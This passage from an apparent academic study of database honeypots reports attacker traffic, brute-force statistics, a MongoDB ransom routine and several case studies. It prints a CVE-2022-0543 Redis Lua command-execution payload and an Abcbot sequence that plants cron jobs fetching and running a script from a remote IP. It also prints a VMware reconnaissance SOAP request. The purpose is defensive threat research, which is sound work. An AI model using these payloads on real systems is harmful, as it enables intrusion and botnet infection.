of the user-agents we observed that adversaries showcased usage of a diverse toolkit, employing cus-
tom scripts with Python/Go libraries, browsers, and open-source GitHub projects. Elasticpot’s ability in
gathering threat intelligence for adversaries targeting Elasticsearch is evident.

5.1.5. Mongodb-honeypot
Given the honeypot’s short operational duration resulting in a limited dataset size, we’ve chosen not
to conduct temporal analysis. In our dataset, we identified 27 IPs originating from various global lo-
cations. These IPs were all associated with VPNs or cloud service providers making it challenging
to attribute attacker origins. Table 5.15 presents Greynoise’s classification of these IPs, showcasing
its limited effectiveness in classifying the traffic. IPs categorized as benign primarily engaged in in-
nocuous activities like establishing connections or requesting build information before disconnecting.
Examination of the two identified malicious IPs revealed low activity of benign nature, consisting mostly
of connections and disconnections. However, given their malicious classification they could potentially
be reconnaissance attempts.

Classification # IPs # Actions
No data 10 337
Unknown 9 359
Benign 6 20
Malicious 2 11

Table 5.15: Mongodb_honeypot: Greynoise classification of IPs

Most of the malicious activities we observed fell into the ”no data” and ”unknown” classification cat-
egories. These encompassed queries on fake data in the database, as well as an attempt to backup
and delete data, followed by extortion. Notably, this was a straightforward data theft attack.

To delve deeper into the incident, we conducted a case study. Typically, these data theft attempts
last around 10 seconds and involve initial reconnaissance actions such as requesting databases on
the server. Subsequently, the attacker systematically backs up and deletes data from each database.
And finally adds a database named ”readme,” containing instructions to pay 0.01 BTC to a crypto wallet
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within 48 hours under the threat of data deletion. We observed transactions of varying amounts in this
crypto wallet coupled with the use of mixing and tumbling techniques to conceal transaction destina-
tions. Moreover, we detected a Russian IP logger link within the readme, hosted by iplis.ru. However,
the subpage of the link was blocked by iplist due to abuse suggesting that the website took abuse se-
riously. The readme also included a ticket code and contact email for tracking and contact. A total of 8
data theft attempts were observed, all executing the same routine actions originating from different IPs
associated with various cloud service providers. This consistent pattern strongly suggests automated
scripting rather than manual intervention. Especially so since the subsequent attempts deleted the
readme database and replaced it with the same instructions but a different ticket code.

Despite similarities to a data theft attack observed in Elasticpot logs, this instance provides a com-
prehensive, step-by-step view of the attack. Such details emphasize the advantages of employing a
high-interaction honeypot. However, the disadvantage lies in that adversaries can attack the honeypot
and wipe its fake data. And once gone it requires a restart of the honeypot to reload the data. This
might deter other adversaries from engaging with the honeypot, as they would quickly realize that the
only remaining file is a readme through reconnaissance.

5.1.6. Detectability
To assess whether known intelligence services would identify our honeypot and potentially lead to
decreased activity from adversaries, we subjected the IPs of our compute instances hosting the hon-
eypots to Shodan Honeyscore analysis at https://honeyscore.shodan.io/. We received no detection
results which could indicate that the service has not been able to identify us yet.

Subsequently, we conducted further analysis using Shodan [78] and found the following detected ser-
vices:

• OpenSSH

• Apache HTTP Server

• PostgreSQL

• Redis Key-Value Store

• Elastic Honey

The last entry: “Elastic Honey” is a misidentification because we did not use this honeypot for the ex-
periment. While Elasticpot acknowledges that they made use of Elastic Honey for inspiration it does
not contain any references to Elastic Honey in the code itself. It may be that Shodan has identified
Elastic Honey in the past given the age of that honeypot and cannot distinguish it from Elasticpot. Nev-
ertheless a honeypot has been associated with our IPs.

Additionally, Censys [21] detected the following services:

• SSH

• HTTP

• PostgreSQL

• Redis

• Elasticsearch

It did not detect Elastic Honey but listed Elasticpot as Elasticsearch differentiating from Shodan’s re-
sults. Overall, neither Shodan nor Censys detected MongoDB. But both platforms correctly identified
all open ports associated with our honeypot.

https://honeyscore.shodan.io/
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5.2. Main study
The primary objective of the main study was to build upon the insights gained from the preliminary study
by conducting experiments with expanded configurations and a longer duration. This approach aims
to gather additional data and potentially uncover new insights.

Again, all our honeypots were detected by scanning traffic within the first two hours of deployment.
Some even within mere minutes after deployment as we will see in the analysis of the Qeeqbox Hon-
eypots below.

5.2.1. Qeeqbox Honeypots
As concluded from the preliminary analysis, Qeeqbox Honeypots is capable of providing valuable in-
sights into adversarial traffic patterns. To expand on those results this experiment aims to increase
data collection by hosting additional instances. Two customizations were implemented; the “multi”
configuration, where all five honeypots run on a single Qeeqbox instance (resulting in 250 honeypots
across 50 instances), and the “single” configuration, with one honeypot per Qeeqbox instance (25 hon-
eypots across 25 instances). The objective was to assess whether hosting multiple honeypots on a
single Qeeqbox machine would impact traffic compared to hosting just one. This was prompted by the
hypothesis that adversaries might behave differently when observing multiple ports being open and
several databases hosted on a single machine, as opposed to observing just one.

A total of 36, 445, 560 actions were observed over twenty days from 3381 (this includes the startup
self checks with IP: 0.0.0.0) distinct IPs. 30, 768, 654 actions (84.42%) were observed on the ”Multi”
configuration, while 5, 676, 906 actions (15.58%) were observed on the ”single” configuration. This dis-
tribution highlights a significant skew towards the ”Multi” configuration, which recorded nearly six times
more actions while having ten times as many honeypots. We can infer that while the ”multi” configura-
tion exhibited higher activity levels, it is evident that the relationship is not strictly linear.

Additionally the ”multi” configuration observed its first scan in just over one second after commenc-
ing operation. While the ”single” configuration observed its first scan after approximately four minutes
and 20 seconds. Both of these scans were conducted by Censys, demonstrating the extensive scan-
ning activity carried out by this service across the web. We hypothesize that the difference in discovery
time could be attributed to Censys scanning activity rather than the configuration itself.

Figure 5.16 illustrates the temporal activity patterns observed during this period. The graph shows
noticeable peaks in activity which are then followed by periods of drastically reduced activity. Despite
appearances of flat lines indicating zero activity it is clear from the logs that it’s just low activity. So we
suspect that this could be a potential firewall restriction (which we had no control over) or other factors
at play.

Another observation is the striking similarity in the activity shapes between both configurations. While
not identical, there are clear resemblances in the patterns of activity ramps up and subsequent drops
occurring roughly around the same time for both setups. Such coordinated actions raise suspicion and
suggest the involvement of the same adversaries. This hypothesis is supported by the data: the ”multi”
configuration logged 3203 distinct IPs, while the ”single” configuration had 1744. However, they shared
1567 identical IPs indicating a substantial overlap in adversarial presence. This observation also sug-
gests that the configuration settings of the honeypots have minimal impact on the adversarial actions
directed towards them. As the increased deployment of the multi configuration could have been the
cause for the increased activity and unique IPs. Nevertheless the evidence is not conclusive as these
honeypots were deployed under the same subnet, which implies that an automatic scan could have
found all honeypots.

Since we identified that a significant portion of the activity originated from brute-force attackers in the
preliminary analysis, we aimed to examine its impact in the main experiment as well. Figure 5.17 il-
lustrates the temporal distribution with all IPs engaged in brute-force attempts removed, that is: any
IP that made at least one login attempt. While peaks in scanning traffic persist, the overall activity re-
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Figure 5.16: Qeeqbox Honeypots: Temporal distribution of actions observed from March 22th, 2024, to April 11th, 2024

mains low. This suggests that when brute-force attacks abruptly cease the traffic reverts to a baseline
level, explaining the lower plateaus observed in figure 5.16. This observation also showcases that the
majority of adversarial traffic observed is related to brute-forcers.

Figure 5.17: Qeeqbox Honeypots: Temporal distribution of actions, excluding brute-forcing adversaries, from March 22nd to
April 11th, 2024.
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Figure 5.18 provides insight into the number of adversaries active on the honeypot at any given time,
as well as the frequency of new adversaries (first contact) appearing. We notice that the number of
active adversaries is relatively low compared to the total number of actions depicted in figure 5.16. This
again indicates that a small number of IPs are responsible for a large portion of the actions, particularly
brute-force attacks. Moreover, the line representing new unique IPs displays a declining trend over
time, indicating a diminishing rate of new adversaries. The cumulative new unique IPs graph further
underlines this trend, resembling the shape of a logarithmic function. These observations hint towards
a considerable level of adversarial retention over time.

Figure 5.18: Qeeqbox Honeypots: Temporal distribution of unique IPs, new unique IPs observed and cumulative new unique
IPs observed (right y-axis) from March 22nd to April 11th, 2024

Table 5.16 presents the top ten IPs based on activity, revealing that the top four IPs alone account
for a staggering 91.25% of the total recorded activity. This dominance in activity starkly contrasts with
the relatively minor contributions from the other 3378 IPs. This skewed distribution mirrors findings
from the preliminary study in table 5.1, albeit with even more pronounced lop sided skew. Further-
more, these four IPs were also present in the preliminary study in table 5.1. They all originate from the
servers of the same cloud service provider, namely XHOST INTERNET SOLUTIONS LP. And once
again most of this activity appears to be from brute-force attempts. Despite the three month interval
between the preliminary and main experiments, it appears that no measures were implemented by
the cloud service provider to address these ongoing malicious activities. Interestingly this particular
provider had previously raised suspicion due to its simplistic landing page, which now supports HTTPS
(a feature absent in the past).

A detailed examination of all the IPs listed in this table reveals their involvement in brute-force at-
tempts. It’s notable that these IPs predominantly originate from cloud service providers or the Chinese
state-owned network backbone, along with China Telecom, a state-owned mobile telecommunications
provider. The latter entities should not be exhibit such behavior. It remains uncertain whether they
arise from compromised machines on their servers, IP spoofing, or potentially state-backed initiatives.
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Source IP # Actions (Single) # Actions (Multi) # Actions % of Total Actions
87.251.75.20 1,408,345 7,292,081 8,700,426 23.87%
80.66.76.30 1,413,709 7,272,733 8,686,442 23.83%
80.66.76.21 1,401,360 7,255,372 8,656,732 23.75%
80.66.76.91 1,166,412 6,048,504 7,214,916 19.80%
117.133.51.59 0 569,113 569,113 1.56%
220.186.90.200 0 489,797 489,797 1.34%
185.170.144.201 51,820 269,464 321,284 0.88%
220.186.77.62 0 280,480 280,480 0.77%
176.36.222.75 31,305 162,786 194,091 0.53%
222.177.215.122 28,438 155,852 184,290 0.51%
Other 175,517 972,472 1,147,989 3.15%

Table 5.16: Qeeqbox Honeypots: List of the top 10 source IPs with the highest number of actions and their percentage of overall
actions

We observed a consistent trend where themajority of adversarial traffic targetedMSSQL, as highlighted
in table 5.17. Which implies that the brute-force attacks primarily targeted the MSSQL honeypots. This
emphasis on MSSQL appears even more pronounced compared to the preliminary findings detailed in
table 5.2. Despite some observed traffic for Postgres, its overall presence remains relatively low.

Even after filtering out all traffic generated by IPs that attempted at least one login, the ranking of
activity in databases remains unchanged. MSSQL maintains its dominance at the top, while Elastic
remains at the bottom. This finding raises questions, as these IPs should only be engaged in database
scans. We have prior records from the telescope showing more evenly distributed scans of DBMS, as
seen in table 5.3. One plausible explanation for this disparity could be linked to the peaks in scanning
activity depicted in figure 5.17. It’s probable that these IPs were employed by adversaries in tandem
with their brute-force IPs to conduct scans.

DBMS # Actions (Single) # Actions (Multi) # Actions % of Total Actions
MSSQL 5,639,745 30,573,417 36,213,162 99.36%
MySQL 27,575 145,438 173,013 0.47%
Redis 4,958 25,580 30,538 0.08%
Postgres 4,346 22,762 27,108 0.07%
Elastic 282 1,457 1,739 0.004%

Table 5.17: Qeeqbox Honeypots: Distribution of actions to DBMS

The geographical distribution depicted in figure 5.19 showcases adversarial traffic originating from 59
countries spread across all continents except Antarctica. We observed traffic from various other coun-
tries compared to the 42 identified in the preliminary analysis, which was to be expected due to the
longer duration of the experiment. It also demonstrates the adaptability of adversaries in concealing
their origins through cloud service providers. Once again, Russia and China emerged as top contrib-
utors to the adversarial activity which is consistent with the findings in table 5.4 from the preliminary
results. And again the distribution of IPs associated with each country is not uniform. For instance,
China and the USA exhibited a large number of unique IPs, whereas other countries in this list had
relatively few IPs.

Taking another look at the brute-force attacks, we identified a total of 18, 163, 318 login attempts or-
chestrated by 772 unique IPs. The distribution of these brute-force attacks across different database
management systems DBMS is presented in table 5.19. As expected, MSSQL received the bulk of
these attacks, aligning with the traffic distribution detailed in table 5.17. The absence of login attempts
on Redis is unexpected as the Redis honeypot was online and actively receiving traffic. This raises
questions about why adversaries did not target Redis specifically.

Additionally, we visualized the usernames and passwords utilized in these brute-force attacks using
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Figure 5.19: Qeeqbox Honeypots: Geographical distribution of the observed traffic sorted by country of origin.

Country # Actions % of Total Actions # IPs
Russia 33,260,664 91.26% 15
China 1,819,760 4.99% 362
Estonia 321,339 0.88% 2
South Korea 195,466 0.54% 11
Ukraine 194,091 0.53% 1
United States 168,398 0.46% 1,943
Iran 149,785 0.41% 2
Georgia 125,861 0.35% 1
Greece 26,083 0.07% 1
India 25,151 0.07% 19
Other 158,962 0.44% 1,023

Table 5.18: Qeeqbox Honeypots: Top 10 countries by the amount of actions and their corresponding amount of IPs

word clouds in figure 5.20. The patterns observed in usernames and passwords resemble those in
the preliminary results shown in figure 5.6). Usernames predominantly consist of common names and
default identifiers, while passwords mainly consist of plaintext strings, often comprising numerals, basic
letter combinations, and common words. These characteristics suggest that the passwords originate
from a predefined list commonly used in brute-force attacks or from leaked databases. The absence
of encrypted passwords compared to the results in the preliminary study suggests a change in the list
used for brute-force attacks.

Finally, let’s examine the Greynoise classification of the IPs observed in the logs as detailed in ta-
ble 5.20. Greynoise successfully identified the majority of the IPs as either “benign” or “malicious”.
However, the bulk of the activity remains classified under ”no data” and ”unknown”. This outcome is
unsurprising, given past observations such as in in table 5.5.

Once again we have detected ”benign” IPs attempting login actions which deviates from their expected
behavior. Further investigation reveals that these login attempts may stem from a configuration error
in the scanning script on the client side side. Notably, many of these attempts lack user credentials.
Further analysis shows specific database names in the username and password fields such as “db-
name=template0”. There were also instances of malformed usernames and passwords along with
references to port numbers.
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DBMS # Login Attempts
MSSQL 18,076,729
MySQL 83,527
Postgres 2,555
Elasticsearch 507
Redis 0

Table 5.19: Qeeqbox Honeypots: Login attempts per DBMS

(a) Word cloud of usernames (b) Word cloud of passwords

Figure 5.20: Qeeqbox Honeypots: Word clouds of usernames and passwords

It’s also worth mentioning that the amount of ”benign” IPs engaging in activities on the honeypots was
unexpected. The make up for more than half of the IPs observed by our honeypots. These ”benign”
services exhibited relatively low levels of activity which aligns with the findings from our preliminary
study.

Classification # IPs # Actions # Login Attempts
No data 47 16,793,872 8,394,930
Unknown 351 17,849,843 8,907,880
Benign 1,814 31,782 634
Malicious 1,168 1,770,053 859,874

Table 5.20: Qeeqbox Honeypots: Greynoise classification of IPs

In conclusion, our analysis of the Qeeqbox Honeypots once again affirms its capability in collecting
adversarial network traffic data for pattern analysis. Upon deployment, we observed rapid detection by
Censys, a network security service. This was followed by coordinated brute forcing attack targeting all
honeypots by a handful of IPs associated with a cloud service provider with dubious legitimacy which
we had identified before in the preliminary study. Despite the time gap between the preliminary exper-
iment and main experiment, the provider has taken no action to stop the actions of these adversaries
operating on their network. Temporal analysis also highlighted similar activity patterns across both hon-
eypot configurations, with the “multi” configuration attracting more activity and unique IPs. However,
we argue that similar results could have occured with an increased deployment of the “single” configu-
ration. Additionally, we noted preferences in scanning patterns, particularly the preference for MSSQL
honeypots even after the removal of brute forcing traffic. One explanation for this could be that these
were scanners deployed alongside brute-force attackers by the same adversary. Moreover, examining
the growing gap between newly identified adversaries and those presently engaged in adversarial activ-
ities indicates a persistent level of adversarial engagement over time. From the geographical analysis
we affirmed that adversaries continue to utilize a diverse range of cloud service providers to obfuscate
their origins.

5.2.2. RedisHoneyPot
The preliminary analysis of RedisHoneyPot logs revealed its effectiveness in uncovering adversarial
actions post access, which were mainly performed by automatic scripts. Our objective for the main
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experiment was to enhance the likelihood of capturing manual interactions by deploying additional
honeypots and gathering more data. To achieve this, we devised two configurations: the “default” con-
figuration, running the honeypot with no alterations, and the “custom” configuration, augmenting it with
50 fabricated user credentials embedded within the interactable KEYS command of the honeypot.

The idea behind the “custom” configuration was to provoke adversaries into interacting with the fabri-
cated data. Any attempts to manipulate these entries, such as using the DEL command to delete them
(because FLUSHALL and FLUSHDB do not), would signify manual intervention.

The RedisHoneyPot was set up during the deployment phase before the official start of the main ex-
periment. We decided to include the additional data, which leads to the logs covering the period from
March 19th to April 11th, 2024. During this 23 day period, we observed a total of 637, 162 actions
originating from 980 unique IP addresses. In figure 5.21 the temporal activity of RedisHoneyPot in-
stances is depicted with a logarithmic scale applied to the y-axis to accommodate outliers within the
database. These outliers signify substantial spikes in activity, reaching log scales of 105, amidst a
backdrop of relatively lower traffic ranging around 101, occasionally surging to 103. Furthermore, the
graph illustrates instances of complete inactivity with adversaries refraining from any interactions with
the honeypot resulting in periods of zero interactions per hour.

Another observation from this graph is the similarity in traffic patterns between the “default” and “cus-
tom” configurations for the most part. Distinction between higher activity and lower activity still exists
between the two, but the range of this activity is similar. Upon inspecting the logs, we found that the
“default” configuration logged 317, 752 actions, while the custom configuration logged 319, 410. This
suggests minimal difference in overall volume of adversarial activity between these two configurations.

Figure 5.21: RedisHoneyPot: Temporal distribution of actions observed from March 19th, 2024, to April 11th, 2024. Y-axis uses
logarithmic scale.

Taking a closer closer look at the two large outliers in the figure 5.21, we identified them as the re-
sult of a brute-force attack. These attacks were initiated with the action AUTH, a Redis command for
authentication. Consequently, the total number of actions plummeted from 637, 162 to a mere 43, 434,
representing a drastic reduction of 93% volume. Figure 5.22 illustrates the activity over time after
excluding all traffic from brute forcing IPs. Notably, the patterns of activity for both the ”default” and
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”custom” configurations remain similar. Once again the total level of activity was similar, 20, 886 actions
for the default configuration and 22, 548 for the custom configuration.

Figure 5.22: RedisHoneyPot: Temporal distribution of actions observed, excluding brute-forcing adversaries, from March 19th,
2024, to April 11th, 2024

This brute-force attack is puzzling because, as explained in the methodology, this honeypot lacks IAM
services. Consequently, direct access to the honeypot is accessible to anyone, rendering the brute-
force attempts pointless. Expanding on this, the honeypot doesn’t support the AUTH command, and
for any command not supported the default response is -ERR unknown command. Hence, any adversary
performing manual interaction with the honeypot should recognize this. It’s possible however that this
factor contributed to the discontinuing of the concentrated brute-force attacks within a few hours, as
seen in the two significant outliers in figure 5.21.

Even after filtering out traffic from brute-forcing IPs, we continue to observe outliers in activity in figure
5.22. These are primarily attributed to the P2P Infect worm, a recurring phenomenon from the prelimi-
nary findings. In the preliminary study we also noted that each such attack typically comprised around
30 actions. Given that we’re now hosting 20 honeypots, it’s understandable that these peaks reach
approximately 600 and 1, 200 (due to repetition within same hour) actions. Based on this observation,
we can conclude that these attacks occur sporadically. Interestingly, while most of the IP addresses
from which the commands retrieve the malware using curl have changed, we did identify one IP that
remained the same.

Figure 5.23 illustrates the number of unique IPs active per hour over time, along with the count of
new IPs (never seen before) per hour. Similar to the trends observed in the Qeeqbox Honeypots in
figure 5.18 there is a noticeable gap between the unique IPs and new IPs which widens over time. This
suggests prolonged and repeated engagement by adversaries, which are likely the automated scripts
which routinely interact with the honeypot. However this line is much more linear in shape compared
to the logarithmic shape seen in figure 5.18.

The outlier observed on March 29th stands out. Upon inspection of the logs, we found numerous IPs
connecting and executing the commands CLIENT SETINFO LIB-NAME redis-py which were sometimes
followed by CLIENT SETINFO LIB-VER 5.0.1. These commands in Redis are typically used to assign
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Figure 5.23: RedisHoneyPot: Temporal distribution of unique IPs, new unique IPs and cumulative new unique IPs observed
(right y-axis) observed from March 19th, 2024, to April 11th, 2024

various info attributes to the current connection. Most of these IPs cease interaction with the honeypot
after this hour. While this behavior could indicate reconnaissance activity, its exact purpose remains
uncertain.

We put the Greynoise classification of IPs in table 5.21. Greynoise managed to classify the major-
ity of the IPs as “benign” and “malicious” however it was not able to capture the IPs associated with the
brute-force attack generating most of the activity.

In the benign category, the majority of IPs exhibit benign behavior. However, a subset of these IPs
is executing the KEYS command which retrieves all keys from the database. Such activity is unex-
pected for IPs classified as benign. Furthermore, among these IPs engaged in the KEYS command
we identified those hosted by IP Volume Inc., formerly known as Ecatel, Quasi Networks, and Novog-
ara, a company with past associations with cybercrime [35][99]. These IPs have also been flagged on
abuseipdb.com [2] for various attacks. Greynoise classifies them as benign due to these IPs being as-
sociated with shodan.io. Given this, we recommend implementing measures to block benign sources
and scanners in general on actual DBMS to mitigate potential risks.

Classification # Count # Actions
No data 10 2,554
Unknown 29 599,828
Benign 678 9,411
Malicious 263 25,369

Table 5.21: RedisHoneyPot: Greynoise classification of IPs

Now, we will shift our focus to the case studies, as we believe they should be the primary empha-
sis of the medium interaction honeypots. The geological distribution and activity distribution per IPs,
while informative, have been thoroughly examined and are of lesser significance at this point.
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We observed four IPs from Google Cloud Platform (GCP) engaging with the fake user credentials.
These IPs established connections with the database and executed the “KEYS *” command to retrieve
all keys. Subsequently, they utilized the “TYPE” command to examine the type of values stored at
specific keys. Notably, all four IPs accessed all entries, suggesting that an adversary detected the data
and employed automated scripts hosted on GCP to probe the data further. RedisHoneyPot does not
support the “TYPE” command, therefore we assume that the adversary also realized that there was an
issue and stopped probing.

In another case, we observed a single IP associated with a cloud service provider named “Informa-
cinės Sistemos ir Technologijos” in Lithuania repeatedly attempting to exploit the CVE-2022-0543 vul-
nerability [68] with the Redis command outlined in code listing 5.3. This Redis command was broken
down into multiple parts for readability. In line 3, the adversary attempts to perform remote code ex-
ecution (RCE) of the command “id” on our host machine. This command, when executed, retrieves
information about the user and group names, as well as the numeric IDs associated with the current
user or any other user on the server. The exploitation of this vulnerability shouldn’t have been suc-
cessful since our honeypot doesn’t support this command. The adversary should have received an
“-ERR unknown command” response and as a result didn’t proceed with additional manual interaction.
However, the persistent exploitation of this vulnerability by the P2P Infect worm and in this case study,
emphasizes the importance of staying informed about vulnerability disclosures and applying software
updates promptly.

1 EVAL local io_l = package.loadlib(”/usr/lib/x86_64-linux-gnu/liblua5.1.so.0”, ”luaopen_io”);
2 local io = io_l();
3 local f = io.popen(”id”, ”r”);
4 local res = f:read(”*a”);
5 f:close();
6 return res

Listing 5.3: Command exploiting CVE-2022-0543 in Redis to perform the “id” shell command in line 3.

In the final case study we examine a, presumably infected, machine from Tencent attempting to infect
our instances with a botnet. The relevant commands are shown in code listing 5.4 with explanations
provided after each command for clarity. The attack spans 27 seconds, executing most commands
within the initial 7 seconds before waiting for an additional 20 seconds before disconnecting.

The adversary’s objective is to execute the ff.sh script on line 7 in 5.4, which is associated with the
Abcbot botnet [4]. The botnet currently possesses capabilities for maintaining access, eliminating com-
petitors, communicating with a command and control network, and propagating itself like a worm. And
sources such as CadoSecurity are reporting recently how it is evolving over time [32] suggesting that
its creators are actively implementing additional functions and harboring further malicious intentions.

1 NewConnect: Connects to the honeypot.
2 ping: Checking if the Redis server is responsive.
3 config set stop-writes-on-bgsave-error no: Disabling the stop-writes-on-bgsave-error

mechanism to allow writes even if there’s an error during background saves.
4 flushall: Clearing all data from the Redis database.
5 config set dir /var/spool/cron/: Changing the directory where Redis stores its data to /var/

spool/cron/.
6 config set dbfilename root: Setting the database filename to ”root.”
7 ”set xxx1...”: Setting keys (xxx1, xxx2, xxx3) with crontab entries and commands to fetch and

execute a script (ff.sh) from a remote server (http://103.209.103.16:26800/) every
minute using wget, wdt, curl, and cdt commands.

8 save: Triggering a manual save of the Redis database.
9 config set stop-writes-on-bgsave-error yes: Enabling the stop-writes-on-bgsave-error

mechanism to halt writes in case of background save errors.
10 config set dir /tmp: Changing the Redis directory to /tmp.
11 config set dbfilename .dump.rdb: Setting the database filename to .dump.rdb.
12 flushall: Clearing all data from the Redis database again.
13 Repeats steps from line 3
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14 Closed: Possibly indicating the end of the connection or session.

Listing 5.4: Redis commands attempting to infect the host machine with Abcbot. The malware is fetched in line 7.

With an extended data collection period and additional deployments, including a secondary configura-
tion, we’ve enhanced our threat intelligence gathering capabilities. Irrespective of the configurations
our honeypots encountered similar levels of activity. Unexpectedly, we identified brute-force attacks
targeting our honeypots. Upon filtering out this traffic, we observed the presence of the P2P worm
attacks operating in a manner consistent with our preliminary study results. Moreover, our observa-
tions shed light on the behavior of “benign” IPs, which often engage in actions with malicious intent.
And advise database administrators to implement firewall blocks for such IPs. Additionally, we found
that our fabricated data successfully attracted adversarial responses. Which highlights the effect cus-
tomizing honeypots has on luring adversaries. Furthermore, our logs revealed adversaries directly
exploiting CVE-2022-0543 through Redis commands, emphasizing the prevalence of known exploits
and the criticality of maintaining up-to-date software. Lastly, we encountered an infected machine from
an evolving botnet attempting to infect our machines, illustrating the evolving nature of threats in the
cybersecurity landscape.

5.2.3. Sticky Elephant
The preliminary analysis of Sticky Elephant demonstrated its effectiveness in uncovering adversarial
behaviors on a Postgres DBMS honeypot. For the main study, we aimed to build on that by introducing
two configurations: the “default” configuration, where nothing was altered, and the “custom” config-
uration, where access to the honeypot was disabled beyond initial connection. The purpose of this
customization was to observe whether adversaries would display different behaviors when interacting
with a honeypot that had restricted access compared to one with full access. We wanted to determine if
they would attempt brute-force attacks and if there would be a noticeable difference in the activity levels.

We observed a total of 397, 810 actions from 1, 955 distinct IPs. The “default” configuration recorded
211, 897 actions (53.27%) from 1, 542 distinct IPs, while the “custom” configuration recorded 185, 913
actions (46.73%) from 1, 274 distinct IPs. There is a significant overlap of 861 shared distinct IPs
(44.04%). At first glance this suggests minimal difference in activity between the two configurations.
However, the share of the overlap indicates a notable difference in the adversaries active on each
configuration. This discrepancy is interesting given that both configurations were hosted on the same
subnet, so a systematic scanner would be expected to find all instances.

Figure 5.24 showcases temporal activity patterns, revealing large fluctuations in activity throughout
the timeline. Notable peaks occur at the start, with instances where the honeypot experiences zero ac-
tivity. These large fluctuations appear to be caused by login attempts. Indeed, we observed a total of
43, 131 login attempts across both configurations, with 14, 019 on the “default” configuration and 29, 112
on the “custom” configuration. This result demonstrates that customization significantly impacts adver-
sarial interactions and achieved one of our objectives for this honeypot in the main experiment. After
filtering out all IPs that performed login attempts, we obtain figure 5.25. The activity has decreased
substantially. This is because each login attempt is generally accompanied by other actions such as
connections, handshakes, and SSL requests which altogether adds up. The peaks in activity shown
in this figure mostly consist of connections, and we could not determine the intent behind these actions.

A closer examination of figure 5.26, which displays unique (distinct) IP statistics, reveals that the num-
ber of active adversaries fluctuates significantly compared to the other two honeypots discussed earlier
(figures 5.18 and 5.23). Additionally, the rate of new unique IPs appearing over time increases more
gradually, with the cumulative line displaying a “logarithmic” like shape. The line is also less smooth,
reflecting the large fluctuations in new adversaries. Another interesting observation is that the fluctu-
ation appears to be more extreme in the first week compared to the rest of the timeline, revealing an
unexpected pattern in adversarial behavior.

What is also surprising is the classification from Greynoise for the adversaries, as shown in table 5.22.
We observe that relatively few IPs are classified as “no data” and “unknown.” For the first time, we
also see that the majority of the activity has been classified as malicious. Once again, the majority
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Figure 5.24: Sticky Elephant: Temporal distribution of actions observed from March 19th, 2024, to April 11th, 2024. Y-axis uses
logarithmic scale.

Figure 5.25: Sticky Elephant: Temporal distribution of actions observed, excluding brute-forcing adversaries, from March 19th,
2024, to April 11th, 2024

of the IPs come from benign sources, which seems to be a recurring pattern in the main experiment.
Upon inspecting the activity within the benign classification, we mostly find connections, handshakes,
and SSL requests. There are also numerous (partially) malformed queries, which can be assumed to
stem primarily from secure protocols and user-agent information. Moving on to the case studies, we
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Figure 5.26: Sticky Elephant: Temporal distribution of unique IPs, new unique IPs and cumulative new unique IPs observed
(right y-axis) observed from March 19th, 2024, to April 11th, 2024

Classification # IPs # Actions
No data 5 282
Unknown 331 91,546
Benign 1,166 32,117
Malicious 453 273,865

Table 5.22: Sticky Elephant: Greynoise classification of IPs

observed the reappearance of the same malware attack as in the preliminary experiment, described
in code listing 5.2. There were numerous attempts, and were easy to track due to method of attack
and the base64 encoded script remained unchanged. These attacks originated from various sources,
but the vast majority came from the same IPs as discussed in the preliminary results: 78.153.140.37
and 78.153.140.30, both belonging to the same hosting company HOSTGLOBAL.PLUS LTD. We also
observed numerous queries from these two IPs attempting to alter user privileges in various ways, uti-
lizing both “ALTER” and “REVOKE” commands.

Regarding new attacks, we observed several queries such as SELECT setting FROM pg\_settings

WHERE name=’data\_directory, which would return the location of the data directory. Additionally, com-
mands like “BEGIN”, “COMMIT”, and “ROLLBACK” were used, along with ’select lo_creat(-1);’,
which returns the object identifiers of a new and empty large object. These queries were executed in
milliseconds, suggesting the use of an automated script. All these queries originated from from the IP
address 88.214.26.3 and appear to be reconnaissance activity. This IP has been classified as mali-
cious by Greynoise and is associated with Alviva Holdings, a South African IT services group.

In conclusion, with an extended data gathering period and an additional configuration we uncovered
more insights. There was a notable fluctuation in activity, primarily driven by brute-force adversaries.
The secondary configuration, designed to observe variations in adversarial behavior with regards to
brute-force attacks achieved its objective, revealing a significantly increased volume of attempts. Even
after filtering out these brute-force attackers we continued to observe large fluctuations in activity. Anal-
ysis of the distribution of unique IPs over time revealed large fluctuations, especially in the first week,
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and recurring adversarial engagement. Furthermore, Greynoise provided more accurate classifications
of adversarial traffic in this instance. We also encountered a recurrence of the same malware attack
identified in the preliminary analysis, largely originating from the same sources. Finally, we observed
reconnaissance activities, likely originating from infected machines associated with an IT service hold-
ings group.

5.2.4. Elasticpot
The Elasticpot honeypot faced technical challenges during its mass deployment testing which we could
not resolve within time constraints. As a result, for the main study we were limited to running only the
“default” configuration with no changes. As with the other honeypots, we extended the data collection
period to increase the chances of capturing more exploits. Throughout this extended data collection
period we recorded a total of 12, 492 actions corresponding to 1, 237 unique IP addresses..

Figure 5.27 illustrates the temporal distribution of activity logged on the honeypots. The graph re-
veals several short bursts of activity, which are rather large outliers. These bursts are attributed
to six IPs: 172.233.57.157, 172.233.57.39, 139.162.142.167, 143.42.206.215, 152.32.130.155, and
165.154.59.90, originating from two cloud service providers, Akamai Cloud Connected and Ucloud
Information Technology. The outliers were the result of automated scripts scanning URLs from a pre-
determined list, including paths such as /home, /admin, /base, /index, and more, often appended with
file formats like .html, .php, .jhtml, .shtml, .jsp, and .aspx. These scans consisted of GET and HEAD

requests using various user-agents, including browsers, Elasticsearch clients, and Go HTTP clients.
This activities strongly indicate towards reconnaissance attempts.

These and 13 other IPs also utilized the POST method to execute SOAP requests. The SOAP re-
quest is detailed in code listing 5.5. This SOAP request is designed to fetch service content from a
VMware vSphere [94] instance (lines 8-10), aiming to gather intelligence on potential vulnerabilities
of exposed VMware vSphere services. Notably, the security blog PwnDefend [72] suggested using
the same SOAP request with a scanner to identify exposed VMware services following the release of
CVE-2021-22005 [67], which allows adversaries to upload files and execute remote code. This recon-
naissance action suggests that adversaries possess awareness of possible Elasticsearch integration
with VMware, and as an attack vector to compromise the machine.

Figure 5.27: Elasticpot: Temporal distribution of actions observed from March 19th, 2024, to April 11th, 2024
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1 <soap:Envelope xmlns:xsd=”http://www.w3.org/2001/XMLSchema”
2 xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
3 xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/”>
4 <soap:Header>
5 <operationID>00000001-00000001</operationID>
6 </soap:Header>
7 <soap:Body>
8 <RetrieveServiceContent xmlns=”urn:internalvim25”>
9 <_this xsi:type=”ManagedObjectReference” type=”ServiceInstance”>ServiceInstance</

_this>
10 </RetrieveServiceContent>
11 </soap:Body>
12 </soap:Envelope>

